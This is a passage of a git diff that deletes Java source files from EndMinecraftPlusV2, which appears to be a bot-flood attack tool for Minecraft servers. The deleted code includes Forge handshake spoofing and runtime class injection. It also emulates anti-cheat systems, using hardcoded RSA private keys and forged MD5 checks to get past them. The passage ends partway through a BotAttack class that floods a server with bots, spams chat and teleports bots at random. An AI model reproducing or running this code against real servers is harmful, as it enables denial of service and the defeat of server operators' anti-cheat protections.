com.github.steveice10.packetlib.packet.Packet; - -import java.io.ByteArrayOutputStream; -import java.io.IOException; - -public class MCForgeHandShakeV1 extends MCForgeHandShake { - public MCForgeHandShakeV1(MCForge forge) { - super(forge); - } - - public void handle(Packet recvPacket) { - ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket; - Session session = forge.session; - - byte[] data = packet.getData(); - int packetID = data[0]; - - switch (packetID) { - case 0: // Hello - sendPluginMessage(session, packet.getChannel(), new byte[] { 0x01, 0x02 }); - - // ModList - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - StreamNetOutput out = new StreamNetOutput(buf); - try { - out.writeVarInt(2); - out.writeByte(forge.modList.size()); - forge.modList.forEach((k, v) -> { - try { - out.writeString(k); - out.writeString(v); - } catch (IOException e) { - e.printStackTrace(); - } - }); - } catch (IOException e) { - e.printStackTrace(); - } - sendPluginMessage(session, packet.getChannel(), buf.toByteArray()); - break; - case 2: // ModList - sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x02 }); // ACK(WAITING SERVER DATA) - break; - case 3: // RegistryData - sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x03 }); // ACK(WAITING SERVER COMPLETE) - break; - case -1: // HandshakeAck - int ackID = data[1]; - switch (ackID) { - case 2: // WAITING CACK - sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x04 }); // PENDING COMPLETE - break; - case 3: // COMPLETE - sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x05 }); // COMPLETE - break; - default: - } - default: - } - } - - public void newHandle(Packet recvPacket) { - ClientboundCustomPayloadPacket packet = (ClientboundCustomPayloadPacket) recvPacket; - Session session = forge.session; - - byte[] data = packet.getData(); - int packetID = data[0]; - - switch (packetID) { - case 0: // Hello - newSendPluginMessage(session, packet.getChannel(), new byte[] { 0x01, 0x02 }); - - // ModList - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - StreamNetOutput out = new StreamNetOutput(buf); - try { - out.writeVarInt(2); - out.writeByte(forge.modList.size()); - forge.modList.forEach((k, v) -> { - try { - out.writeString(k); - out.writeString(v); - } catch (IOException e) { - e.printStackTrace(); - } - }); - } catch (IOException e) { - e.printStackTrace(); - } - newSendPluginMessage(session, packet.getChannel(), buf.toByteArray()); - break; - case 2: // ModList - newSendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x02 }); // ACK(WAITING SERVER DATA) - break; - case 3: // RegistryData - newSendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x03 }); // ACK(WAITING SERVER COMPLETE) - break; - case -1: // HandshakeAck - int ackID = data[1]; - switch (ackID) { - case 2: // WAITING CACK - newSendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x04 }); // PENDING COMPLETE - break; - case 3: // COMPLETE - newSendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x05 }); // COMPLETE - break; - default: - } - default: - } - } - - public String getFMLVersion() { - return "FML"; - } - - private void sendPluginMessage(Session session, String channel, byte[] data) { - session.send(new ClientPluginMessagePacket(channel, data)); - } - - private void newSendPluginMessage(Session session, String channel, byte[] data) { - session.send(new ServerboundCustomPayloadPacket(channel, data)); - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeHandShakeV2.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeHandShakeV2.java deleted file mode 100644 index 31f18ce..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeHandShakeV2.java +++ /dev/null @@ -1,251 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol; - -import com.github.steveice10.mc.protocol.packet.login.client.LoginPluginResponsePacket; -import com.github.steveice10.mc.protocol.packet.login.clientbound.ClientboundCustomQueryPacket; -import com.github.steveice10.mc.protocol.packet.login.server.LoginPluginRequestPacket; -import com.github.steveice10.mc.protocol.packet.login.serverbound.ServerboundCustomQueryPacket; -import com.github.steveice10.packetlib.io.buffer.ByteBufferNetInput; -import com.github.steveice10.packetlib.io.stream.StreamNetOutput; -import com.github.steveice10.packetlib.packet.Packet; - -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.nio.ByteBuffer; -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Map; - -public class MCForgeHandShakeV2 extends MCForgeHandShake { - private final int Packet_S2CModList = 1; - private final int Packet_C2SModListReply = 2; - private final int Packet_S2CRegistry = 3; - private final int Packet_S2CConfigData = 4; - private final int Packet_C2SAcknowledge = 99; - - public MCForgeHandShakeV2(MCForge forge) { - super(forge); - } - - public void handle(Packet recvPacket) { - LoginPluginRequestPacket packet = (LoginPluginRequestPacket) recvPacket; - if (!packet.getChannel().equals("fml:loginwrapper")) return; - - try { - LoginWrapper loginWrapper = new LoginWrapper().fromBytes(packet.getData()); - String targetNetworkReceiver = loginWrapper.getTargetNetworkReceiver(); - ByteBufferNetInput in = new ByteBufferNetInput(ByteBuffer.wrap(loginWrapper.getPayload())); - - int packetID = in.readByte(); - switch (packetID) { - case Packet_S2CModList: { - // recv: S2CModList - final List mods = new ArrayList<>(); - int len = in.readVarInt(); - for (int x = 0; x < len; x++) - mods.add(in.readString()); - - final Map channels = new HashMap<>(); - len = in.readVarInt(); - for (int x = 0; x < len; x++) - channels.put(in.readString(), in.readString()); - - final List registries = new ArrayList<>(); - len = in.readVarInt(); - for (int x = 0; x < len; x++) - registries.add(in.readString()); - // send: C2SModListReply - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - StreamNetOutput out = new StreamNetOutput(buf); - - out.writeByte(Packet_C2SModListReply); - - out.writeVarInt(mods.size()); - mods.forEach(m -> { - try { - out.writeString(m); - } catch (IOException e) { - e.printStackTrace(); - } - }); - - out.writeVarInt(channels.size()); - channels.forEach((k, v) -> { - try { - out.writeString(k); - out.writeString(v); - } catch (IOException e) { - e.printStackTrace(); - } - }); - - // TODO: Fill with known hashes, which requires keeping a file cache (FMLHandshakeMessages.java) - out.writeVarInt(0); // empty map - /* - out.writeVarInt(registries.size()); - registries.forEach(r -> { - try { - out.writeString(r); - out.writeString(""); - } catch (IOException e) { - e.printStackTrace(); - } - }); - */ - - reply(packet.getMessageId(), targetNetworkReceiver, buf.toByteArray()); - break; - } - case Packet_S2CRegistry: - case Packet_S2CConfigData: { - // recv: S2CRegistry - // send: C2SAcknowledge - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - StreamNetOutput out = new StreamNetOutput(buf); - - out.writeByte(Packet_C2SAcknowledge); - - reply(packet.getMessageId(), targetNetworkReceiver, buf.toByteArray()); - break; - }// recv: S2CConfigData - } - } catch (Exception ex) { - forge.session.disconnect("Failure to handshake", ex); - } - } - - public void newHandle(Packet recvPacket) { - ClientboundCustomQueryPacket packet = (ClientboundCustomQueryPacket) recvPacket; - if (!packet.getChannel().equals("fml:loginwrapper")) return; - - try { - LoginWrapper loginWrapper = new LoginWrapper().fromBytes(packet.getData()); - String targetNetworkReceiver = loginWrapper.getTargetNetworkReceiver(); - ByteBufferNetInput in = new ByteBufferNetInput(ByteBuffer.wrap(loginWrapper.getPayload())); - - int packetID = in.readByte(); - switch (packetID) { - case Packet_S2CModList: { - // recv: S2CModList - final List mods = new ArrayList<>(); - int len = in.readVarInt(); - for (int x = 0; x < len; x++) - mods.add(in.readString()); - - final Map channels = new HashMap<>(); - len = in.readVarInt(); - for (int x = 0; x < len; x++) - channels.put(in.readString(), in.readString()); - - final List registries = new ArrayList<>(); - len = in.readVarInt(); - for (int x = 0; x < len; x++) - registries.add(in.readString()); - // send: C2SModListReply - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - StreamNetOutput out = new StreamNetOutput(buf); - - out.writeByte(Packet_C2SModListReply); - - out.writeVarInt(mods.size()); - mods.forEach(m -> { - try { - out.writeString(m); - } catch (IOException e) { - e.printStackTrace(); - } - }); - - out.writeVarInt(channels.size()); - channels.forEach((k, v) -> { - try { - out.writeString(k); - out.writeString(v); - } catch (IOException e) { - e.printStackTrace(); - } - }); - - // TODO: Fill with known hashes, which requires keeping a file cache (FMLHandshakeMessages.java) - out.writeVarInt(0); // empty map - /* - out.writeVarInt(registries.size()); - registries.forEach(r -> { - try { - out.writeString(r); - out.writeString(""); - } catch (IOException e) { - e.printStackTrace(); - } - }); - */ - - newReply(packet.getMessageId(), targetNetworkReceiver, buf.toByteArray()); - break; - } - case Packet_S2CRegistry: - case Packet_S2CConfigData: { - // recv: S2CRegistry - // send: C2SAcknowledge - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - StreamNetOutput out = new StreamNetOutput(buf); - - out.writeByte(Packet_C2SAcknowledge); - - newReply(packet.getMessageId(), targetNetworkReceiver, buf.toByteArray()); - break; - }// recv: S2CConfigData - } - } catch (Exception ex) { - forge.session.disconnect("Failure to handshake", ex); - } - } - - public String getFMLVersion() { - return "FML2"; - } - - private void reply(int id, String targetNetworkReceiver, byte[] payload) throws IOException { - forge.session.send(new LoginPluginResponsePacket(id, new LoginWrapper(targetNetworkReceiver, payload).toBytes())); - } - - private void newReply(int id, String targetNetworkReceiver, byte[] payload) throws IOException { - forge.session.send(new ServerboundCustomQueryPacket(id, new LoginWrapper(targetNetworkReceiver, payload).toBytes())); - } - - static class LoginWrapper { - private String targetNetworkReceiver; - private byte[] payload; - - public LoginWrapper() {} - public LoginWrapper(String targetNetworkReceiver, byte[] payload) { - this.targetNetworkReceiver = targetNetworkReceiver; - this.payload = payload; - } - - public LoginWrapper fromBytes(byte[] bytes) throws IOException { - ByteBufferNetInput in = new ByteBufferNetInput(ByteBuffer.wrap(bytes)); - this.targetNetworkReceiver = in.readString(); - this.payload = in.readBytes(in.readVarInt()); - return this; - } - - public byte[] toBytes() throws IOException { - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - StreamNetOutput pb = new StreamNetOutput(buf); - pb.writeString(targetNetworkReceiver); - pb.writeVarInt(payload.length); - pb.writeBytes(payload); - - return buf.toByteArray(); - } - - public String getTargetNetworkReceiver() { - return this.targetNetworkReceiver; - } - - public byte[] getPayload() { - return this.payload; - } - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeInject.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeInject.java deleted file mode 100644 index 4773675..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeInject.java +++ /dev/null @@ -1,52 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol; - -import javassist.ClassPool; -import javassist.CtClass; -import javassist.CtMethod; - -public class MCForgeInject { - public static boolean inject() { - - try { - if (MCForge.isVersion1710()) { - injectPluginMessage(); - injectTryCatch("com.github.steveice10.mc.protocol.packet.ingame.server.entity.spawn.ServerSpawnMobPacket", "read", - "{$1.readBytes($1.available());return;}"); - injectTryCatch("com.github.steveice10.mc.protocol.packet.ingame.server.world.ServerUpdateTileEntityPacket", - "read", "{$1.readBytes($1.available());return;}"); - injectTryCatch("com.github.steveice10.packetlib.packet.PacketProtocol", "createIncomingPacket", - "{return luohuayu.MCForgeProtocol.MCForgeUtils.createUnknowPacket();}"); - } else { - ClassPool classPool = ClassPool.getDefault(); - CtClass ctClass = classPool.getOrNull("com.github.steveice10.mc.protocol.data.MagicValues"); - if (ctClass == null) - ctClass = classPool.get("com.github.steveice10.mc.protocol.data.game.MagicValues"); - CtMethod method1 = ctClass.getDeclaredMethod("key"); - method1.addCatch("{return null;}", classPool.get("java.lang.Exception")); - CtMethod method2 = ctClass.getDeclaredMethod("value"); - method2.addCatch("{return null;}", classPool.get("java.lang.Exception")); - ctClass.toClass(); - } - return true; - } catch (Exception e) { - return false; - } - } - - public static void injectPluginMessage() throws Exception { - ClassPool classPool = ClassPool.getDefault(); - CtClass ctClass = classPool.get("com.github.steveice10.mc.protocol.packet.ingame.server.ServerPluginMessagePacket"); - CtMethod method = ctClass.getDeclaredMethod("read"); - method.setBody("{this.channel=$1.readString();\n" - + "this.data=$1.readBytes(luohuayu.MCForgeProtocol.MCForgeUtils.readVarShort($1));}"); - ctClass.toClass(); - } - - public static void injectTryCatch(String cls, String func, String code) throws Exception { - ClassPool classPool = ClassPool.getDefault(); - CtClass ctClass = classPool.get(cls); - CtMethod method = ctClass.getDeclaredMethod(func); - method.addCatch(code, classPool.get("java.lang.Exception")); - ctClass.toClass(); - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeMOTD.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeMOTD.java deleted file mode 100644 index 9457ecc..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeMOTD.java +++ /dev/null @@ -1,144 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol; - -import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil; -import com.google.gson.Gson; - -import java.io.ByteArrayOutputStream; -import java.io.DataInputStream; -import java.io.DataOutputStream; -import java.io.IOException; -import java.net.InetSocketAddress; -import java.net.Socket; -import java.util.HashMap; -import java.util.Map; - -public class MCForgeMOTD { - public Map pingGetModsList(String ip, int port, int version) { - Map modList = new HashMap(); - Socket socket = new Socket(); - try { - socket.connect(new InetSocketAddress(ip, port)); - if(socket.isConnected()) { - DataOutputStream out = new DataOutputStream(socket.getOutputStream()); - - ByteArrayOutputStream packet = new ByteArrayOutputStream(); - DataOutputStream packetOut = new DataOutputStream(packet); - - packetOut.writeByte(0); // handshake packet id - writeVarInt(packetOut, version); // version - writeVarInt(packetOut, ip.length()); // host length - packetOut.writeBytes(ip); // host - packetOut.writeShort(port); // port - writeVarInt(packetOut, 1); // next to status - - writeVarInt(out, packet.size()); // packet length - out.write(packet.toByteArray()); // handshake packet - - out.writeByte(1); // packet length - out.writeByte(0); // status packet id - - out.flush(); - - DataInputStream in = new DataInputStream(socket.getInputStream()); - readVarInt(in); // packet length - int packetID = readVarInt(in); - int dataLength = readVarInt(in); - - if (packetID == 0 && dataLength > 0) { // Response - byte[] responseData = new byte[dataLength]; - in.readFully(responseData); - Response response = new Gson().fromJson(new String(responseData), Response.class); - if (response.modinfo != null) { - for (Response.ModInfo.ModID modid : response.modinfo.modList) { - modList.put(modid.modid, modid.version); - } - } - } - } - } catch (Exception e) { - - LogUtil.doLog(1, "获取服务器上的Forge Mods时发生错误。详细信息: " + e.getMessage(), null); - - try { - if (socket.isConnected()) - socket.close(); - } catch (IOException ignored) {} - } - return modList; - } - - /** - * @author thinkofdeath - * See: https://gist.github.com/thinkofdeath/e975ddee04e9c87faf22 - */ - public int readVarInt(DataInputStream in) throws IOException { - int i = 0; - int j = 0; - while (true) { - int k = in.readByte(); - - i |= (k & 0x7F) << j++ * 7; - - if (j > 5) - throw new RuntimeException("VarInt too big"); - - if ((k & 0x80) != 128) - break; - } - - return i; - } - - /** - * @throws IOException - * @author thinkofdeath - * See: https://gist.github.com/thinkofdeath/e975ddee04e9c87faf22 - */ - public void writeVarInt(DataOutputStream out, int paramInt) throws IOException { - while (true) { - if ((paramInt & 0xFFFFFF80) == 0) { - out.writeByte(paramInt); - return; - } - - out.writeByte(paramInt & 0x7F | 0x80); - paramInt >>>= 7; - } - } - - class Response { - public Object description; - public Players players; - public Version version; - public ModInfo modinfo; - - class Description { - public String text; - public String translate; - - public String getDescription() { - return text != null ? text : translate; - } - } - - class Players { - public int max; - public int online; - } - - class Version { - public String name; - public int protocol; - } - - class ModInfo { - public String type; - public ModID[] modList; - - class ModID { - public String modid; - public String version; - } - } - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeUtils.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeUtils.java deleted file mode 100644 index 7a219f8..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeUtils.java +++ /dev/null @@ -1,25 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol; - -import com.github.steveice10.packetlib.io.NetInput; - -import java.io.IOException; - -public class MCForgeUtils { - public static int readVarShort(NetInput in) throws IOException { - int low = in.readUnsignedShort(); - int high = 0; - if ((low & 0x8000) != 0) { - low = low & 0x7FFF; - high = in.readUnsignedByte(); - } - return ((high & 0xFF) << 15) | low; - } - - public static UnknownPacket createUnknownPacket() { - try { - return UnknownPacket.class.newInstance(); - } catch (Exception e) { - return null; - } - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/UnknownPacket.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/UnknownPacket.java deleted file mode 100644 index 73c13eb..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/UnknownPacket.java +++ /dev/null @@ -1,20 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol; - -import com.github.steveice10.packetlib.io.NetInput; -import com.github.steveice10.packetlib.io.NetOutput; -import com.github.steveice10.packetlib.packet.Packet; - -import java.io.IOException; - -public class UnknownPacket implements Packet { - public boolean isPriority() { - return false; - } - - public void read(NetInput in) throws IOException { - in.readBytes(in.available()); - } - - public void write(NetOutput out) { - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ACProtocol/AnotherStarAntiCheat.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ACProtocol/AnotherStarAntiCheat.java deleted file mode 100644 index 881d39a..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ACProtocol/AnotherStarAntiCheat.java +++ /dev/null @@ -1,103 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ACProtocol; - -import io.netty.buffer.ByteBuf; -import io.netty.buffer.ByteBufInputStream; -import io.netty.buffer.ByteBufOutputStream; -import io.netty.buffer.Unpooled; -import org.spacehq.opennbt.NBTIO; -import org.spacehq.opennbt.tag.builtin.ByteArrayTag; -import org.spacehq.opennbt.tag.builtin.CompoundTag; -import org.spacehq.opennbt.tag.builtin.ListTag; - -import javax.crypto.Cipher; -import java.io.DataInputStream; -import java.io.DataOutputStream; -import java.io.IOException; -import java.math.BigInteger; -import java.security.KeyFactory; -import java.security.MessageDigest; -import java.security.NoSuchAlgorithmException; -import java.security.spec.RSAPrivateKeySpec; -import java.security.spec.RSAPublicKeySpec; -import java.util.HashSet; - -public class AnotherStarAntiCheat { - private final RSAPublicKeySpec clientPublicKey; - private final RSAPrivateKeySpec clientPrivateKey; - private final RSAPrivateKeySpec serverPrivateKey; - private final Cipher clientPublicCipher; - private final Cipher clientPrivateCipher; - - { - clientPublicKey = new RSAPublicKeySpec(new BigInteger("110765265706288445432931740098429930486184776709780238438557625017629729661573053311960037088088056476891441153774532896215697933861615265976216025080531157954939381061122847093245480153835410088489980899310444547515616362801564379991216339336084947840837937083577860481298666622413144703510357744423856873247"), new BigInteger("65537")); - clientPrivateKey = new RSAPrivateKeySpec(new BigInteger("127165929499203230494093636558638013965252017663799535492473366241186172657381802456786953683177089298103209968185180374096740166047543803456852621212768600619629127825926162262624471403179175000577485553838478368190967564483813134073944752700839742123715548482599351441718070230200126591331603170595424433351"), new BigInteger("8120442115967552979504430611683477858989268564673406717365778685618263462946775764555188689810276923151226539464042905009305546407509816095746345114598417659887966619863710400187548253486545871530930302536230539029867970428580758154100440676071461522806034959078299053007522099777875429363283152166104624633")); - serverPrivateKey = new RSAPrivateKeySpec(new BigInteger("110765265706288445432931740098429930486184776709780238438557625017629729661573053311960037088088056476891441153774532896215697933861615265976216025080531157954939381061122847093245480153835410088489980899310444547515616362801564379991216339336084947840837937083577860481298666622413144703510357744423856873247"), new BigInteger("46811199235043884723986609175064677734346396089701745030024727102450381043328026268845951862745851965156510759358732282931568208403881136178696846768321267356928789780189985031058525539943424151785807761491334305713351706700232920994479762308513198807509163912459260953727448797718901389753582140608347129153")); - - try { - (clientPublicCipher = Cipher.getInstance("RSA")).init(1, KeyFactory.getInstance("RSA").generatePublic(clientPublicKey)); - (clientPrivateCipher = Cipher.getInstance("RSA")).init(2, KeyFactory.getInstance("RSA").generatePrivate(clientPrivateKey)); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - private void ctsEncode(ByteBuf buf, byte[][] md5s) { - try { - CompoundTag nbt = new CompoundTag(""); - ListTag strList = new ListTag("md5s", ByteArrayTag.class); - for (final byte[] md5 : md5s) { - strList.add(new ByteArrayTag("", md5)); - } - nbt.put(strList); - NBTIO.writeTag(new DataOutputStream(new ByteBufOutputStream(buf)), nbt); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - private byte[] stcDecode(ByteBuf buf) { - try { - CompoundTag nbt = (CompoundTag) NBTIO.readTag(new DataInputStream(new ByteBufInputStream(buf))); - return ((ByteArrayTag) nbt.get("salt")).getValue(); - } catch (IOException e) { - throw new RuntimeException(e); - } - } - - public byte[] encodeCPacket(String[] md5s, String salt) { - try { - HashSet rsaMd5s = new HashSet(); - for (String md5 : md5s) { - rsaMd5s.add(clientPublicCipher.doFinal(md5(md5 + salt).getBytes())); - } - - ByteBuf buf = Unpooled.buffer(); - buf.writeByte(1); // packet id - ctsEncode(buf, rsaMd5s.toArray(new byte[0][])); - return buf.array(); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - public String decodeSPacket(byte[] data) { - try { - ByteBuf buf = Unpooled.copiedBuffer(data); - buf.readByte(); // packet id - return new String(clientPrivateCipher.doFinal(stcDecode(buf))); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - public String md5(String str) { - try { - MessageDigest md = MessageDigest.getInstance("MD5"); - md.update(str.getBytes()); - byte[] digest = md.digest(); - return String.format("%0" + (digest.length << 1) + "x", new BigInteger(1, digest)); - } catch (NoSuchAlgorithmException e) { - return null; - } - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ACProtocol/AntiCheat3.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ACProtocol/AntiCheat3.java deleted file mode 100644 index 0abea8b..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ACProtocol/AntiCheat3.java +++ /dev/null @@ -1,81 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ACProtocol; - -import java.io.*; -import java.math.BigInteger; -import java.security.MessageDigest; -import java.security.NoSuchAlgorithmException; -import java.util.zip.GZIPInputStream; -import java.util.zip.GZIPOutputStream; - -public class AntiCheat3 { - - public byte[] getCheckData(String acFile, String code, String[] md5List) { - try { - byte[] buf1 = code.substring(0, 30).getBytes(); - - FileInputStream in = new FileInputStream(new File("lib", acFile)); - byte[] buf2 = new byte[in.available()]; - in.read(buf2); - - byte[] buf3 = new byte[buf1.length + buf2.length]; - System.arraycopy(buf1, 0, buf3, 0, buf1.length); - System.arraycopy(buf2, 0, buf3, buf1.length, buf2.length); - - try { - in.close(); - } catch (IOException e2) { - } - - String result = ""; - if (md5List != null) { - for (String md5 : md5List) { - result += md5 + ","; - } - } - result += md5(buf3); - return compress(result); - } catch (IOException e) { - e.printStackTrace(); - return null; - } - } - - public byte[] compress(String str) { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - GZIPOutputStream gzip; - try { - gzip = new GZIPOutputStream(out); - gzip.write(str.getBytes()); - gzip.close(); - } catch (IOException e) { - } - return out.toByteArray(); - } - - public String uncompress(byte[] data) { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ByteArrayInputStream in = new ByteArrayInputStream(data); - try { - GZIPInputStream ungzip = new GZIPInputStream(in); - byte[] buffer = new byte[256]; - int n; - while ((n = ungzip.read(buffer)) >= 0) { - out.write(buffer, 0, n); - } - } catch (IOException e) { - } - - return new String(out.toByteArray()); - } - - public String md5(byte[] buf) { - try { - MessageDigest md = MessageDigest.getInstance("MD5"); - md.update(buf); - byte[] digest = md.digest(); - return String.format("%0" + (digest.length << 1) + "x", new BigInteger(1, digest)); - } catch (NoSuchAlgorithmException e) { - return null; - } - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/BotAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/BotAttack.java deleted file mode 100644 index 2538bf9..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/BotAttack.java +++ /dev/null @@ -1,590 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils; - -import cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2; -import cn.serendipityr.EndMinecraftPlusV2.Tools.*; -import cn.serendipityr.EndMinecraftPlusV2.VersionControl.AttackManager; -import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ACProtocol.AnotherStarAntiCheat; -import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ACProtocol.AntiCheat3; -import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.CatAntiCheat.CatAntiCheat; -import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol.MCForge; -import cn.serendipityr.EndMinecraftPlusV2.VersionControl.VersionSupport107; -import io.netty.util.internal.ConcurrentSet; -import org.spacehq.mc.protocol.MinecraftProtocol; -import org.spacehq.mc.protocol.data.game.ItemStack; -import org.spacehq.mc.protocol.data.game.values.ClientRequest; -import org.spacehq.mc.protocol.data.message.Message; -import org.spacehq.mc.protocol.packet.ingame.client.ClientChatPacket; -import org.spacehq.mc.protocol.packet.ingame.client.ClientKeepAlivePacket; -import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket; -import org.spacehq.mc.protocol.packet.ingame.client.ClientRequestPacket; -import org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerMovementPacket; -import org.spacehq.mc.protocol.packet.ingame.server.*; -import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerPlayerHealthPacket; -import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket; -import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerUpdateHealthPacket; -import org.spacehq.opennbt.NBTIO; -import org.spacehq.opennbt.tag.builtin.CompoundTag; -import org.spacehq.opennbt.tag.builtin.ListTag; -import org.spacehq.opennbt.tag.builtin.StringTag; -import org.spacehq.opennbt.tag.builtin.Tag; -import org.spacehq.packetlib.Client; -import org.spacehq.packetlib.Session; -import org.spacehq.packetlib.event.session.*; -import org.spacehq.packetlib.io.NetInput; -import org.spacehq.packetlib.io.buffer.ByteBufferNetInput; -import org.spacehq.packetlib.io.stream.StreamNetInput; -import org.spacehq.packetlib.io.stream.StreamNetOutput; -import org.spacehq.packetlib.packet.Packet; -import org.spacehq.packetlib.tcp.TcpSessionFactory; - -import java.io.ByteArrayOutputStream; -import java.io.DataOutputStream; -import java.io.IOException; -import java.io.OutputStream; -import java.net.InetSocketAddress; -import java.net.Proxy; -import java.net.Socket; -import java.nio.ByteBuffer; -import java.util.*; -import java.util.concurrent.ExecutorService; -import java.util.concurrent.Executors; - -public class BotAttack extends IAttack { - public static HashMap clientName = new HashMap<>(); - public static int failed = 0; - public static int rejoin = 0; - public static int clickVerifies = 0; - public static List rejoinPlayers = new ArrayList<>(); - public static List joinedPlayers = new ArrayList<>(); - public static List alivePlayers = new ArrayList<>(); - public static HashMap positionPacket = new HashMap<>(); - protected boolean attack_motdbefore; - protected boolean attack_tab; - protected Map modList; - - private Thread mainThread; - private Thread taskThread; - - public Set clients = new ConcurrentSet<>(); - public ExecutorService pool = Executors.newCachedThreadPool(); - - private static final AntiCheat3 ac3 = new AntiCheat3(); - private static final AnotherStarAntiCheat asac = new AnotherStarAntiCheat(); - - private long starttime; - - public BotAttack(String ip, int port, int time, int maxconnect, long joinsleep) { - super(ip, port, time, maxconnect, joinsleep); - } - - public void setBotConfig(boolean motdbefore, boolean tab, Map modList) { - this.attack_motdbefore = motdbefore; - this.attack_tab = tab; - this.modList = modList; - } - - public String getRandMessage(String userName) { - return ConfigUtil.CustomChat.get(new Random().nextInt(ConfigUtil.CustomChat.size())).replace("$rnd",OtherUtils.getRandomString(4,6).replace("$pwd",DataUtil.botRegPasswordsMap.get(userName))); - } - - public void start() { - setTask(() -> { - while (true) { - List tempList = new ArrayList<>(alivePlayers); - - for (Session c:tempList) { - if (c.isConnected()) { - if (c.hasFlag("login")) { - if (ConfigUtil.ChatSpam && !c.hasFlag("chatSpam")) { - c.setFlag("chatSpam", true); - - new Thread(() -> { - while (c.isConnected()) { - OtherUtils.doSleep(ConfigUtil.ChatDelay); - try { - c.send(new ClientChatPacket(getRandMessage(clientName.get(c)))); - } catch (Exception ignored) {} - } - }).start(); - } - - if (ConfigUtil.RandomTeleport && !c.hasFlag("randomTeleport")) { - c.setFlag("randomTeleport", true); - - new Thread(() -> { - while (c.isConnected()) { - ServerPlayerPositionRotationPacket positionRotationPacket = positionPacket.get(c); - - if (c.isConnected() && positionRotationPacket != null) { - MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX() + OtherUtils.getRandomInt(-10, 10), 